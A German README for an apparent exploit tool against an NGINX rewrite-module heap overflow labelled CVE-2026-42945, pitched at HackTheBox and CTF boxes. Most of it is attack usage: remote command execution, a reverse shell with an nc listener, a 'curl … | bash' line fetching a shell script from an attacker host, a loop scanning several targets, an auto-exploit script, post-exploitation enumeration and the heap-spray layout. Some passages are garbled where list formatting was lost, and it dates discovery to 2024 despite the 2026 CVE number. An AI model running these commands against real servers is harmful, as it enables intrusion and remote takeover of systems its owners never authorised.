
Exploit für CVE-2026-42945
Eigenständiger Exploit für die NGINX Heap Buffer Overflow Schwachstelle, die 2024 entdeckt wurde. Diese Version ist für HackTheBox- und CTF-Umgebungen optimiert, in denen keine Docker-Container eingerichtet werden können.
CVE-2026-42945 ist ein kritischer Heap Buffer Overflow im ngx_http_rewrite_module von NGINX, der seit 2008 (Version 0.6.27) existiert. Der Fehler tritt auf, wenn:
rewrite-Direktive ? in der Ersetzung enthält (setzt is_args = 1)set-Direktive einen Teil der URI erfasstis_args = 0)is_args = 1)# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd
# Keine zusätzlichen Python-Pakete erforderlich – nur stdlib!
python3 nginx_rift_htb.py --target 10.10.11.x --check-only
Dies wird:
/api/-Endpunkt prüfenpython3 nginx_rift_helper.py --target 10.10.11.x --all
Dies führt Folgendes durch:
Einen Befehl ausführen:
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"
Eine Reverse-Shell erhalten:
# Zuerst Listener starten (in einem anderen Terminal)
nc -lvnp 4444
# Exploit ausführen
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444
# 'id'-Befehl ausführen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"
# 'whoami' ausführen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"
# /etc/passwd lesen
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"
# Terminal 1: Listener starten
nc -lvnp 4444
# Terminal 2: Exploit ausführen
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--shell \
--lhost 10.10.14.5 \
--lport 4444 \
--verbose
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 nginx_rift_htb.py \
--target 10.10.11.23 \
--port 8080 \
--cmd "curl http://10.10.14.5/shell.sh | bash" \
--tries 20 \
--verbose
ngx_pool_cleanup_s-Struktur enthalten/api/ mit einer speziell konstruierten URI, die beim Escapen überläuftsystem() mit unserem Befehl aufDer Exploit geht davon aus, dass ASLR deaktiviert ist oder die Adressen bekannt sind. Auf HTB:
Falls ASLR aktiviert ist, kann Folgendes erforderlich sein:
Die verwundbare Konfiguration erfordert:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
/api/, /admin/, /internal/Mögliche Gründe:
ASLR ist aktiviert – Adressen werden randomisiert
Andere libc-Version – system() an anderem Offset
--verbose testenVersion nicht verwundbar – Behobene Version oder andere Konfiguration
WAF/IDS blockiert – Sicherheitskontrollen vorhanden
Falscher Endpunkt – Verwendet nicht die rewrite+set-Kombination
Immer --verbose zum Debuggen verwenden:
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose
Dies zeigt:
# Die tun0-IP finden
ip addr show tun0 | grep inet
# Diese IP für --lhost verwenden
python3 nginx_rift_htb.py --target TARGET --shell --lhost YOUR_TUN0_IP --lport 4444
Sobald der erste Zugriff besteht:
# Upgrade auf TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Terminal in den Hintergrund legen und einstellen
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
# Aktuellen Benutzer prüfen
id
whoami
# Nach Flaggen suchen
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
# Sudo-Berechtigungen prüfen
sudo -l
# SUID-Binaries prüfen
find / -perm -4000 2>/dev/null
Falls die Payload angepasst werden muss:
# Die Funktion make_body() in nginx_rift_htb.py bearbeiten
# BODY_LEN für andere Konfigurationen anpassen
# Den Overflow-String ändern (349 'A' + 969 '+')
# Eine Zielliste erstellen
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25
# Jedes Ziel testen
while read target; do
echo "Testing $target"
python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt
#!/bin/bash
TARGET=$1
LHOST=$2
echo "[*] Starte Listener..."
nc -lvnp 4444 &
LISTENER_PID=$!
sleep 2
echo "[*] Führe Exploit aus..."
python3 nginx_rift_htb.py \
--target $TARGET \
--shell \
--lhost $LHOST \
--lport 4444 \
--verbose
wait $LISTENER_PID
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # Setzt is_args=1
set $original_endpoint $1; # Allokiert basierend auf is_args=0
}
1. Spray POST → Heap mit gefälschten Cleanup-Strukturen füllen
2. GET /api/AAAA...++++...X → Overflow auslösen
3. Overflow korrumpiert Cleanup-Pointer des benachbarten Pools
4. Pool zerstört → Ruft system(cmd) auf
[Heap Spray Body - 4000 bytes]
+0: system_addr (8 bytes)
+8: data_addr (8 bytes)
+16: next (8 bytes, NULL)
+24: command_string (variable)
+remaining: padding 'A'
Dieses Tool dient nur zu Bildungszwecken und für autorisierte Sicherheitstests. Die Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
Nur zu Bildungs-/Forschungszwecken. Verantwortungsvoll nutzen.